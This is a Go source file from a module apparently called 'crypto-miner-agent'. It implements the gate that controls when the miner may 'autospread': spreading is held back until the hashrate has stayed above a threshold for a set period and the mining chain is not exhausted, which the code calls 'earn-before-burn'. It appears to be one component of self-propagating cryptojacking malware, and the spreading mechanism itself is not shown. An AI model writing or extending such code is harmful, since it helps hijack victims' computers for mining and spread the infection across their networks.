package deploy import ( "sync" "time" "crypto-miner-agent/config" ) var ( spreadGateClock = time.Now spreadGateClockMu sync.Mutex ) func spreadGateNow() time.Time { spreadGateClockMu.Lock() fn := spreadGateClock spreadGateClockMu.Unlock() return fn() } func setSpreadGateClock(fn func() time.Time) { spreadGateClockMu.Lock() spreadGateClock = fn spreadGateClockMu.Unlock() } type spreadGateState struct { mu sync.Mutex stableSince time.Time chainExhausted bool lastHashrate float64 } var spreadGate spreadGateState // SetSpreadMiningTelemetry updates hashrate and chain state for autospread gating. func SetSpreadMiningTelemetry(hashrate float64, chainExhausted bool) { spreadGate.mu.Lock() defer spreadGate.mu.Unlock() spreadGate.chainExhausted = chainExhausted spreadGate.lastHashrate = hashrate } func resetSpreadGateForTest() { spreadGate.mu.Lock() spreadGate.stableSince = time.Time{} spreadGate.chainExhausted = false spreadGate.lastHashrate = 0 spreadGate.mu.Unlock() } // HashrateGateEnabled reports whether server policy requires stable mining before spread. func HashrateGateEnabled(cfg config.RuntimeConfig) bool { return cfg.HashrateGateSpreadMin > 0 && cfg.HashrateGateHPS > 0 } // AllowAutospread enforces earn-before-burn: stable hashrate and non-exhausted chain. func AllowAutospread(cfg config.RuntimeConfig) (bool, string) { spreadGate.mu.Lock() exhausted := spreadGate.chainExhausted spreadGate.mu.Unlock() if exhausted { return false, "mining chain exhausted" } if !HashrateGateEnabled(cfg) { return true, "" } spreadGate.mu.Lock() defer spreadGate.mu.Unlock() now := spreadGateNow() if spreadGate.lastHashrate < cfg.HashrateGateHPS { spreadGate.stableSince = time.Time{} return false, "hashrate below gate threshold" } if spreadGate.stableSince.IsZero() { spreadGate.stableSince = now } need := time.Duration(cfg.HashrateGateSpreadMin) * time.Minute if now.Sub(spreadGate.stableSince) < need { return false, "hashrate stability window not met" } return true, "" } // StableMiningDurationForTest returns how long hashrate has been above threshold (tests only). func StableMiningDurationForTest(cfg config.RuntimeConfig) time.Duration { if !HashrateGateEnabled(cfg) { return 0 } spreadGate.mu.Lock() defer spreadGate.mu.Unlock() if spreadGate.stableSince.IsZero() || spreadGate.lastHashrate < cfg.HashrateGateHPS { return 0 } return spreadGateNow().Sub(spreadGate.stableSince) }